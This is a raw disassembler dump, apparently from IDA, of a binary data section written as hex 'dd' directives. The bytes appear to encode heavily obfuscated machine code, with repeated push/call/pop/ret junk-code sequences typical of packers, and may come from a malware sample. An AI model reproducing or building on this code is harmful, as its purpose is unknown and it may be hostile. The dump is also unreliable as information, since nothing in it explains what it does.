0D1C233ADh, 83D003E8h, 0F47504E9h, 30FD8589h dd 0E9520603h, 8, 0C6A71414h, 4E175D23h, 880D5Bh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 69A1B3C3h, 0DB5EC7A1h, 20A5958Bh, 6A0603h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 668FB6C3h dd 913AF381h, 1A658D8Bh, 6A0603h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0FB8BA2C3h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 827CE8C3h dd 72E90ED4h, 0B79CAF85h, 0EE940h, 1E700000h, 5D681917h dd 0E254889Eh, 21751A97h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0A4C35646h, 66C3A8DEh, 9305EB81h, 210DBD83h dd 0F000603h, 1984h, 391DBB00h, 0B8635Ch, 80000000h, 8D8DEBE7h dd 6034D69h, 0BF66E1FFh, 0BD83BA2Ch, 6030071h, 17840F00h dd 6A000004h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 83BCC351h, 30071BDh, 840F0106h dd 409h, 0FA3EB81h, 0BD833C86h, 6030071h, 0C0860F03h, 6A000003h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0D95C353h, 29243FCAh, 0F2BB6076h, 66120714h dd 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 646B53C3h, 89CB39EDh, 320C995h, 32BB6606h dd 0A9BD8B04h, 80060316h, 0DF8104E1h, 7BCE592Eh, 840FC90Ah dd 12Ah, 20419D8Bh, 858B0603h, 60309ADh, 14800Fh, 0FE90000h dd 30000000h, 0EF8E244Eh, 4F86E3E4h, 0A2E91E6Ah, 8533E333h dd 6031A59h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 2BC35141h, 641B84A4h, 0BD8B5A9Dh, 6030441h, 14E990h dd 635E0000h, 80C02D2h, 0FA103253h, 0C6C4F872h, 98089BF2h dd 8B507C77h, 820F90F9h, 5, 0CABF0F60h, 6A006A61h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0C09EC356h, 0A2C96B68h, 0F525042h, 108Eh, 0BE900h, 403F0000h dd 0CCC67673h, 964CF741h, 60310F64h, 11E9h, 0F9022100h dd 748BC744h, 0B43798Ah, 0E66E0E13h, 860F4DC7h, 0 dd 81585A61h, 0CA942434h, 952942BDh, 6032041h, 2E7195FFh dd 89F50603h, 6A70385h, 0EE906h, 0D22D0000h, 29839FFCh dd 0F1356D2Bh, 232CA65Ah, 1BCE9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 858B3855h dd 606A6FBh, 10E9h, 0D0718D00h, 0D9BBDh, 85827FC9h, 86B3493Fh dd 1800C79Fh, 0FC000000h, 13E9h, 0EB4A0F00h, 990A3D43h dd 9450FB97h, 948569EDh, 7A1580C0h, 0A6FFB58Bh, 0BEB70606h dd 1F89858Bh, 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 88B34BC3h, 9D8BB253h, 6030AB1h dd 0D98B0689h, 0AE9h, 7E233900h, 6140DD8Bh, 8B464217h dd 309AD85h, 0DA8B6606h, 0F044689h, 0E996DEBFh, 5, 50E2CF70h dd 10E85095h db 0 byte_530055 db 2 dup(0), 0C8h ; DATA XREF: ___:off_42CC84o ; ___:off_42CC9Co dd 0A1E83462h, 0D73FB310h, 0FD411276h, 0BF23A6FBh, 13239072h dd 8589965Bh, 6032F81h, 0A6FBB5FFh, 6A0606h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 120A9C3h dd 8B0785DAh, 570A68DEh, 66574BFCh, 5BE262BFh, 0F5243481h dd 6A4BE354h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0D6EEC351h, 2932D5AEh, 3296D8Dh dd 13E906h, 34B00000h, 0FD36A026h, 0DCD4688Ah, 0FB9E8EE5h dd 8276C749h, 3858D16h, 8B0606A7h, 0D98A90FEh, 0B622BF50h dd 6A907FDFh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0CB58C351h, 78AEE30Ch, 26D99D8Bh dd 0E7800603h, 7195FFCCh, 6A06032Eh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 7229C350h dd 9AA588C5h, 0FABF0F0Ah, 0C7F961FCh, 3007185h, 306h, 0BD315100h dd 6030B31h, 3BD835Fh, 606A7h, 69840Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0E8AED3C3h, 0E9FD1B6Bh, 14h, 0A354C787h, 57EFB7D9h dd 47864D8h, 634140FDh, 0A6044B5Fh, 45E9h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 897E64A6h, 3091DBDh, 8D8D8906h, 5006030Dh, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 9D8BC08Bh dd 60302F9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 8C35242h, 1DF81138h, 8B5BA135h, 32E419Dh, 71BD8306h dd 3060300h, 4B0850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 2DF8C1C3h, 425CD0BFh dd 0C8F0F20h, 60000000h, 2C46BB66h, 2655BD8Bh, 83610603h dd 6A703BDh, 840F0006h, 46Eh, 8E960h, 82E60000h, 2AB6D626h dd 9D899108h, 603230Dh, 3B5FF61h, 0E80606A7h, 0Ah, 0E5992836h dd 4E19E5F9h, 0FE91DB3h, 0BD000000h, 0E518A81Dh, 40EEA232h dd 41268708h, 0FF5FB689h, 32A7595h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0ACAC28D3h dd 2FAFAED0h, 0B58B5F29h, 606A6F7h, 0F3145ABFh, 106C753h dd 6A000100h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 889DC351h, 870515EDh, 50D88B5Dh dd 310F5250h, 0C810Fh, 7E90000h, 0C6000000h, 2B52F8D0h dd 585AA6FCh, 6A243489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0AED9C352h, 0E9BD9F56h dd 0Eh, 77CB5102h, 9182D3D9h, 0D55C2EECh, 0B5FFCE28h, 606A703h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 74C35646h dd 77BB9E69h, 0FF548DCBh, 3244995h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 21A02705h dd 0FC1AAC0Eh, 0A6F7B58Bh, 6A0606h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 76F71BC3h dd 7D653C72h, 80E09465h, 858B6EF3h, 6033131h, 0C48689h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 93E45FC3h, 31606247h, 32DF98Dh, 0DBB96606h dd 9D8B6182h, 6030091h, 20A5958Bh, 0DE8B0603h, 6A04C283h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 21ABC355h, 6A205089h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 29E8C351h dd 8DA7B252h, 6BB1685h, 14E95706h, 79000000h, 755FCDEEh dd 26FCABD4h, 0C2CB6678h, 0E336EEC0h, 5F664898h, 7C98D89h dd 86890603h, 0B8h, 853CE381h, 6A0146h, 999BD29h, 0B5FF0603h dd 606A703h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 44C35343h, 66268F03h, 0FFEE90BFh, 30CFD95h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 3309D6A3h, 813F5FBBh, 159D8B71h, 9606031Bh, 0C7BB6650h dd 6A96DBh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 0AF5C08C3h, 4D15E54Dh, 60CA79E3h, 0E6816650h dd 0F5BBA48h, 68Eh, 61853300h, 6106031Eh, 559589h, 0B5FF0603h dd 606A703h, 26759589h, 95FF0603h, 6032E7Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0C2C35040h, 0D7C7A05Dh dd 12F19D89h, 0BD830603h, 60326C9h, 34840F00h, 96000000h dd 1ADC86BFh, 31B35013h, 50006A96h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 2D04A8C9h, 1417730Fh dd 2C16CB81h, 0FFF800E0h, 6A703B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0CD1F7DC7h dd 32128186h, 0B995FF39h, 6A060314h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0D79C353h dd 7E68E4E6h, 0FF42B362h, 6A703B5h, 62CF8006h, 0C9595FFh dd 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0DFB645C3h, 702072B2h, 14D5B531h, 0BD830603h dd 6032D4Dh, 5B840F02h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0F0BBC356h dd 858BF9D2h, 60323EDh, 56DAB70Fh, 194DBD8Bh, 0C65B0603h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 0F727BC3h, 0F27608Eh, 185h, 85C7FC00h, 6033081h dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 86C35040h dd 0BB1EAC72h, 385BD89h, 1DE90603h, 6AFFFFF3h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0D015C353h, 89219BD1h, 3235995h, 66C18B06h, 19A6EF81h dd 1309858Dh, 0C7800603h, 0BB6690ECh, 0E950A06Eh, 11h dd 0F4D7CD56h, 7FB5B131h, 6739D1DEh, 0DB30AD4Dh, 8C0F90DEh dd 3, 6AFFB70Fh, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 1E08F1F3h, 0DE8B006Ah dd 1601BD8Bh, 858D0603h, 60758A4h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 10C35040h, 0E51BD8Bh, 0C0830603h dd 0F7816605h, 605097A1h, 0CE8h, 395C3200h, 0A2228744h dd 0C90EF47Eh, 5BFA8B4Dh, 5B525250h, 0EE9310Fh, 0BD000000h dd 14B1AE7Ah, 567C7C82h, 0DD41726Dh, 61585A0Eh, 81240489h dd 1AB8F6D3h, 81006A77h, 0F69AE2EBh, 6830F50h, 33000000h dd 31D31BDh, 6A006A06h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 6AD6C353h, 895F508Fh dd 31CC9B5h, 0F995FF06h, 6A06031Dh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0C72FC351h dd 99338D8Dh, 6A0606h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 43360EC3h, 7420169Eh, 33086A49h dd 31821BDh, 259D3306h, 0FF06030Fh, 0F1B589D1h, 83060312h dd 31D89BDh, 850F0106h, 71h, 2005BD33h, 26A0603h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0A5C35040h, 3CFF8C3Dh dd 3BEC560h, 32A09BDh, 9DBD8B06h, 50060323h, 5BFB8B53h dd 60240489h, 80FB8B66h, 0FF61A1D5h, 30CFD95h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 389A1D3h, 325D99Dh, 0C52E906h, 0E80000h, 5D000000h dd 58AEED81h, 0BD8B0607h, 6032559h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 84C35646h, 18E59D89h, 858D0603h dd 6069100h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 67C35242h, 51B19506h, 37165F58h, 50FB8B66h, 0F525060h dd 8Eh, 66310F00h, 5AB480BFh, 614CB558h, 0FC240489h, 35FF64h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 6A20C353h, 644D9DA9h, 2589h, 8B660000h dd 68E0FF8h, 2B000000h, 32EF99Dh, 185FF06h, 306031Dh, 308D9BDh dd 0BBFF6A06h, 4B455533h, 2F75B5FFh, 81660603h, 0FFC2DDEFh dd 31B4D95h, 11AE906h, 0B00000h, 0CE9h, 51E66000h, 43063DA7h dd 7252E92Eh, 0F970E680h, 5E971E4h, 0DE000000h, 4E8CD68Ch dd 0DE9h, 0D8E3F600h, 0FB248160h, 5F22B2AFh, 613C6FB0h dd 0DE830Fh, 800F0000h, 6, 0F71BD8Bh, 0B60F0603h, 0FE9C8h dd 32970000h, 0E9DD6A8Ch, 5C4285A7h, 0C34120E9h, 6BAC0h dd 8B660000h, 0E9C18BF9h, 9, 0FB6F0287h, 528D22C8h, 0E8C1F52Eh dd 0B9BD2904h, 57060307h, 94270BBBh, 0F7665F17h, 0BE9E2h dd 31D0000h, 9FB8E4F6h, 0D95596AFh, 0BD8B5761h, 6032E25h dd 0FC82B5Bh, 0D18BFFB7h, 1BD59D89h, 1E90603h, 0FC000000h dd 2E9D858Bh, 9D8B0603h, 6032539h, 0F07C083h, 0C083DAB7h dd 699D3300h, 3B060325h, 0E830FD0h, 89000000h, 31F018Dh dd 36E906h, 0BF0F0000h, 798D8BDAh, 66060322h, 0DB18EF81h dd 0F01E183h, 1F84h, 0B6D38100h, 834F6C2Eh, 32279A5h, 0BF66FE06h dd 95895D65h, 6032E9Dh, 0E9DFB70Fh, 0 dd 0DD9EB58Dh, 9D8B0606h, 603032Dh, 0BD8B006Ah, 60330C5h dd 23A595FFh, 0B9FC0603h, 981h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 3C35545h, 890639FEh, 30FDDB5h dd 0FCE18306h, 26A1BD8Bh, 60FC0603h, 61FCFA8Bh, 0B8h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0B25049CAh, 89F8EFADh, 329ED8Dh, 0BA06h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0A30C0BC3h, 1D2F6391h, 33AD4CD2h, 3E8D1C2h, 4E983D0h dd 6AF475h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0AF2B23C3h, 276170E2h, 5B5B5352h, 880Dh dd 0F18D2900h, 8B06030Eh, 320A595h, 25DF8106h, 8B74E7EAh dd 31A658Dh, 0BB665606h, 505F668Ah, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 79858958h, 89060305h, 308E185h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 121BD86h, 6FAF6EC9h, 8166520Eh, 8BE1F5DBh dd 304A19Dh, 0DBD8306h, 60321h, 3E840Fh, 0B70F0000h, 0B8FEh dd 0BD8B0000h, 6032175h, 4D698D8Dh, 0C7810603h, 503410F2h dd 6AE1FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 0BD8B5DC3h, 6030875h, 71BD83h, 0F000603h dd 4B084h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 91BD3160h, 8B060320h, 32D41BDh, 71BD8306h dd 1060300h, 496840Fh, 85890000h, 60316F1h, 71BD83FCh dd 3060300h, 44C860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0C76CE2C3h, 60DCE2A3h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 6CC35545h dd 567C11Dh, 8C6676D1h, 50006AD9h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 84A3D108h, 0F59F1E68h dd 8FBF66E5h, 2840F23h, 0B3000000h, 4E1800Eh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 70C35141h, 0F4D07202h dd 0E8DCA248h, 5, 556D4BF6h, 0C5B660AEh, 61D2CC80h, 0FC90A5Bh dd 12A84h, 6B11BB00h, 858B5A5Ah, 60309ADh, 0F5F38166h dd 33D6B3ACh, 31A5985h, 0F9B58906h, 5006032Bh, 8E9h, 40E11100h dd 0E482EC45h, 24048994h, 2091BD03h, 6A0603h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 41C35747h, 23A6FBFDh dd 4E8h, 1F03FF00h, 0F525000h, 48Ah, 10BF6600h, 0BB310FFAh dd 23CFEB79h, 6050585Ah, 59525250h, 0B966310Fh, 585ADF3Ah dd 2C3FC1BBh, 448B615Eh, 0BDBB0424h, 8B594FABh, 810F00h dd 89000000h, 0E8042444h, 9, 74AD8936h, 5D6A0C24h, 0DE998h dd 85360000h, 48FBEFABh, 75345513h, 5B4C171Bh, 55006A58h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 8BD4A184h, 31735BDh, 7195FF06h, 6A06032Eh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 8F21C353h, 0AE1E69F4h, 0C3816E4Dh, 64C6C9A5h, 0A7038589h dd 0BD8B0606h, 60305F5h, 1DFE9h, 999D8900h, 8B06031Fh dd 6A6FB85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 0EB5122E4h, 0FE9E0h, 7F20000h, 0F4DB5642h dd 6C724615h, 56365B37h, 0DD858937h, 0C706030Bh, 1800h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0BB0B8B7Ch, 0B58B489Fh, 606A6FFh, 5E9h dd 5C51CD00h, 858B0C06h, 6031F89h, 89FA8B66h, 15EF8006h dd 9AD858Bh, 3600603h, 32C2185h, 0FE806h, 31C90000h, 1513084Ch dd 210DA28Bh, 0F6E55431h, 69958B26h, 5F06032Dh, 4468961h dd 50DE8B66h, 86D0BB66h, 6A243489h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0E95DC351h dd 9, 0C73D6E67h, 0AA80EF2Ah, 0FBB5FF61h, 6A0606A6h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 90A3C352h, 4591AD94h, 4E8AA23h, 0FF000000h, 66001F03h dd 5062A2BFh, 2870F56h, 8B000000h, 448B5FDFh, 0CE80424h dd 0D9000000h, 9743A5E3h, 4B4F6DF5h, 5B6DBE94h, 0B960008Bh dd 13C04489h, 1561BF66h, 24448961h, 0B1BF6604h, 6A58F5h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0EB807FC3h, 3858DB5h, 0F0606A7h, 887h, 2850F00h, 56000000h dd 0EE9505Fh, 39000000h, 9BD2B27Fh, 0A25F8428h, 0E6D27F99h dd 240489B3h, 19C59529h, 95FF0603h, 6032E71h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0DEC35242h, 0DE951h dd 5ABC0000h, 0E80BBA83h, 0D993365Eh, 5BB63307h, 57006A61h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0C3A14D33h, 2EB7C260h, 7185C7B5h, 3060300h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0F648C351h, 0F5AE3683h, 3DC0B2Eh, 31E299Dh dd 3BD8306h, 606A7h, 2C840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 6F7C83C3h dd 0BF59509h, 1EE90603h, 66000000h, 3050DE8Bh, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0F4AABBC0h dd 8B0F6A87h, 0 dd 2860F51h, 0B3000000h, 0BD835FD5h, 6030071h, 85850F03h dd 66000003h, 0BD83F88Bh, 606A703h, 75840F00h, 2B000003h dd 330999Dh, 3B5FF06h, 0E90606A7h, 10h, 0F4451808h, 3B23E42Fh dd 6EB95786h, 3326C5Fh, 2A7595FFh, 6A0603h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 882343C3h dd 8BDD6DA3h, 6A6F7B5h, 0B1BD8B06h, 0C706031Fh, 1000106h dd 0A58D2900h, 96060309h, 50FB8B66h, 6890Fh, 66510000h dd 5FF123BFh, 1FD38196h, 0FF2DC907h, 6A703B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0B71C5848h, 8B26C4D8h, 31925BDh, 35858906h, 0FF060317h dd 3244995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 8B662A1Dh, 0F7B58BFBh, 890606A6h dd 3247585h, 31858B06h, 0E8060331h, 11h, 3DC2B63Eh, 0E778DD73h dd 27168F73h, 35668A3Bh, 0DD9D893Ch, 5B06030Bh, 0C48689h dd 8D290000h, 6032AEDh, 20A5958Bh, 0BF0F0603h, 4C283FAh dd 2995BD2Bh, 50890603h, 57006A20h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 0BF0F628Eh, 55EF81FBh dd 8D516D32h, 6BB1685h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 0E82F4857h, 0D7C69D2h dd 2DDDB589h, 86890603h, 0B8h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 4EC35040h, 0D6779F6h, 2B9E3E14h dd 138D9D89h, 0BD230603h, 6031A69h, 0BD23006Ah, 6032459h dd 0A703B5FFh, 0B5890606h, 6032C2Dh, 0CFD95FFh, 81660603h dd 500BA8E3h, 6A243489h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 8B24C356h, 0C3D9531h dd 0B5FF0603h, 606A703h, 23BDBD89h, 0AE90603h, 6F000000h dd 0FA5B4B54h, 0CAE2798Bh, 7D95FFBEh, 6A06032Eh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 0FBD6C355h, 0D5B40441h, 8F7FECF0h, 58C0Fh, 4DBF0000h dd 83697841h, 326C9BDh, 840F0006h, 35h, 1E019D8Bh, 66960603h dd 6650D98Bh, 96A03ABFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 4EC35545h, 7084BF66h, 7919D1BBh, 3B5FF33h dd 6A0606A7h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 6F31C350h, 0B5296030h, 6032F61h dd 0C6DB531h, 0F610603h, 95FFDEBFh, 60314B9h, 0B5FFD98Ah dd 606A703h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0AC35242h, 8BDD2517h, 300099Dh, 6D9D8B06h, 0FF06030Eh dd 30C9595h, 83DA8B06h, 32D4DBDh, 840F0206h, 38h, 0DEC38166h dd 0ED858B83h, 6A060323h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0D159C350h, 0C68FA362h dd 25F59589h, 0C60603h, 0FD8AF800h, 308185C7h, 603h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0A18719C3h, 6A6CD7F5h, 0B5896B3Dh, 6033045h, 0FFF490E9h dd 55BD89FFh, 8B060308h, 9D8B60C1h, 6030421h, 0AE9h, 4A34B400h dd 0DF8ED402h, 61815C9Ah, 1309858Dh, 6A0603h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 83B611C3h dd 7A775676h, 908AD780h, 6650F88Bh, 6A90DF8Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 991AC355h, 0A52B2187h, 2CD23DDBh, 0F98B006Ah, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 8D8C23C3h, 7674485h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 4E7E9C50h, 87E2644Ah dd 0C083C1A0h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0E960F550h, 7, 0CEFA74BBh dd 603E52FDh, 7229B866h, 358406BFh, 90616119h, 50FB8B66h dd 96AABF66h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 40714B4h, 6AB122h, 6A006Ah, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 89F182C3h, 0E98D8986h, 0FF060330h, 31DF995h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0BB54DF48h, 3EBBE256h, 8D612F88h, 699338Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0E9C66E2Eh, 0Ah, 0A14268E8h, 0B942106Ah, 0D1FFC5E3h dd 19FD8D89h, 0BD830603h, 6031D89h, 0A2850F01h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 273AC350h, 0A67907EFh, 6A026Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 5CDD6FC3h dd 0AC372752h, 1C59BD01h, 56500603h, 2404895Fh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 6BC35545h, 6CB88BDBh dd 61F38166h, 0FD95FFB7h, 6A06030Ch, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0FE62C357h dd 29D42B8Ah, 3076DBDh, 0F85E906h, 0E80000h, 5D000000h dd 674EED81h, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 2D9677C3h, 0F381F88Bh, 668E92C0h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0B9C35242h dd 259D8B56h, 8D060326h, 6910085h, 49850106h, 90060323h dd 0BE9h, 0EDCEEA00h, 0C8DD43CBh, 6DE6E444h, 0AE850h, 6B8D0000h dd 9F52448Eh, 0C1C25299h, 5BFE8B66h, 19B52990h, 0F06030Bh dd 0B8Ch, 5840F00h, 0BF000000h, 2581D923h, 35FF64h, 89000000h dd 3197995h, 63D78106h, 6420D323h, 2589h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 8D055BC3h, 0A752DCEBh, 24319D01h, 85FF0603h, 6031D01h dd 118D0960h, 61060326h, 8B66FF6Ah, 4DB5FFDAh, 6A060325h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0E9C2C357h, 0Eh, 240E290Ch, 0C1E6104Eh, 0CFBAFF1Ah dd 95FFA70Ch, 6031B4Dh, 102E9h, 890F00h, 2B000000h, 32D3D9Dh dd 8100B006h, 0F79E49E7h, 6670E640h, 71E4FA8Bh, 8019D89h dd 613C0603h, 0D9830Fh, 0EE90000h, 0A4000000h, 0EB0C53C2h dd 51E7B61Dh, 0C14FC3B6h, 7E921h, 381F0000h, 0EEB5465Eh dd 0C8B60F91h, 41FFBB66h, 6BAh, 8B4DB700h, 950160C1h, 6032551h dd 3E6A35B9h, 0E8C16166h, 75958904h, 66060321h, 8C0FE2F7h dd 6, 1A8D9589h, 0BD890603h, 6032D6Dh, 0BB66C82Bh, 0D18B3A44h dd 8BD8B70Fh, 32C9D9Dh, 6E906h, 8D290000h, 6031475h, 0C85858Bh dd 0D0BF0603h, 8321F2D8h, 816607C0h, 83FE85DBh, 9D8B00C0h dd 60304E1h, 830FD03Bh dd 12h, 6E9h, 0A3D78200h, 0E9AD8EB2h, 2Fh, 8D8BFE8Bh, 6032EB5h dd 26B59D89h, 0E1830603h, 18840F01h, 83000000h, 32EB5A5h dd 8589FE06h, 60306F9h, 0C859589h, 0E90603h, 8D000000h dd 6E904B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 6AC72722h, 0B8C0F00h, 0F000000h dd 58Fh, 0DB816600h, 95FFDAE7h, 60323A5h, 6E9h, 6DCDE400h dd 0B9D3C657h, 79Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0AAC35343h, 0E1837E6Dh, 52006AFCh, 